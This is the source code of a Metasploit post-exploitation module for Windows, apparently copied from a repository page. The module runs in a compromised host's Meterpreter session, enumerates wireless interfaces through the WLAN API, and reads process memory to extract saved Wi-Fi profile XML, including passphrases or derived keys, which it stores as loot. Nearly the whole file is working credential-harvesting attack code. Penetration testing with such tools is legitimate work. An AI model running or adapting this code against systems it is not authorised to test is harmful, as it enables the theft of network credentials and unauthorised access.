Path: blob/master/modules/post/windows/wlan/wlan_profile.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Wireless Profile',13'Description' => %q{14This module extracts saved Wireless LAN profiles. It will also try to decrypt15the network key material. Behavior is slightly different between OS versions16when it comes to WPA. In Windows Vista/7 we will get the passphrase. In17Windows XP we will get the PBKDF2 derived key.18},19'License' => MSF_LICENSE,20'Author' => ['theLightCosine'],21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26stdapi_railgun_api27stdapi_sys_process_attach28stdapi_sys_process_getpid29]30}31},32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [],35'Reliability' => []36}37)38)39end4041def run42# Opens memory access into the host process43mypid = client.sys.process.getpid44@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)45@wlanapi = client.railgun.wlanapi46wlan_info = "Wireless LAN Profile Information \n"47wlan_handle = open_handle48unless wlan_handle49print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")50print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')51return52end53wlan_iflist = enum_interfaces(wlan_handle)5455if wlan_iflist.empty?56print_status('No wireless interfaces')57return58end5960# Take each enumerated interface and gets the profile information available on each one61wlan_iflist.each do |interface|62wlan_profiles = enum_profiles(wlan_handle, interface['guid'])63guid = guid_to_string(interface['guid'])6465# Store all the information to be saved as loot66wlan_info << "GUID: #{guid} Description: #{interface['description']} State: #{interface['state']}\n"67wlan_profiles.each do |profile|68wlan_info << " Profile Name: #{profile['name']}\n"69wlan_info << profile['xml']70end71end72# strip the nullbytes out of the text for safe outputting to loot73wlan_info.gsub!(/\x00/, '')74print_good(wlan_info)75store_loot('host.windows.wlan.profiles', 'text/plain', session, wlan_info, 'wlan_profiles.txt', 'Wireless LAN Profiles')7677# close the Wlan API Handle78closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)79if closehandle['return'] == 080print_status('WlanAPI Handle Closed Successfully')81else82print_error('There was an error closing the Handle')83end84end8586def open_handle87begin88wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)89rescue StandardError90return nil91end92return wlhandle['phClientHandle']93end9495def enum_interfaces(wlan_handle)96iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)97pointer = iflist['ppInterfaceList']98numifs = @host_process.memory.read(pointer, 4)99numifs = numifs.unpack('V')[0]100interfaces = []101return [] if numifs.nil?102103# Set the pointer ahead to the first element in the array104pointer = (pointer + 8)105(1..numifs).each do |_i|106interface = {}107# Read the GUID (16 bytes)108interface['guid'] = @host_process.memory.read(pointer, 16)109pointer = (pointer + 16)110# Read the description(up to 512 bytes)111interface['description'] = @host_process.memory.read(pointer, 512)112pointer = (pointer + 512)113# Read the state of the interface (4 bytes)114state = @host_process.memory.read(pointer, 4)115pointer = (pointer + 4)116117# Turn the state into human readable form118state = state.unpack('V')[0]119case state120when 0121interface['state'] = 'The interface is not ready to operate.'122when 1123interface['state'] = 'The interface is connected to a network.'124when 2125interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'126when 3127interface['state'] = 'The interface is disconnecting from the current network.'128when 4129interface['state'] = 'The interface is not connected to any network.'130when 5131interface['state'] = 'The interface is attempting to associate with a network.'132when 6133interface['state'] = 'Auto configuration is discovering the settings for the network.'134when 7135interface['state'] = 'The interface is in the process of authenticating.'136else137interface['state'] = 'Unknown State'138end139interfaces << interface140end141return interfaces142end143144def enum_profiles(wlan_handle, guid)145profiles = []146proflist = @wlanapi.WlanGetProfileList(wlan_handle, guid, nil, 4)147ppointer = proflist['ppProfileList']148numprofs = @host_process.memory.read(ppointer, 4)149numprofs = numprofs.unpack('V')[0]150ppointer = (ppointer + 8)151(1..numprofs).each do |_j|152profile = {}153# Read the profile name (up to 512 bytes)154profile['name'] = @host_process.memory.read(ppointer, 512)155ppointer = (ppointer + 516)156157rprofile = @wlanapi.WlanGetProfile(wlan_handle, guid, profile['name'], nil, 4, 4, 4)158xpointer = rprofile['pstrProfileXML']159160# The size of the XML string is unknown. If we read too far ahead we will cause it to break161# So we start at 1000bytes and see if the end of the xml is present, if not we read ahead another 100 bytes162readsz = 1000163profmem = @host_process.memory.read(xpointer, readsz)164until profmem[/(\x00){2}/]165readsz = (readsz + 100)166profmem = @host_process.memory.read(xpointer, readsz)167end168169# Slice off any bytes we picked up after the string terminates170profmem.slice!(profmem.index(/(\x00){2}/), (profmem.length - profmem.index(/(\x00){2}/)))171profile['xml'] = profmem172profiles << profile173end174return profiles175end176177# Convert the GUID to human readable form178def guid_to_string(guid)179aguid = guid.unpack('H*')[0]180sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]181sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]182sguid << '-' + aguid[20, 12] + '}'183return sguid184end185end186187188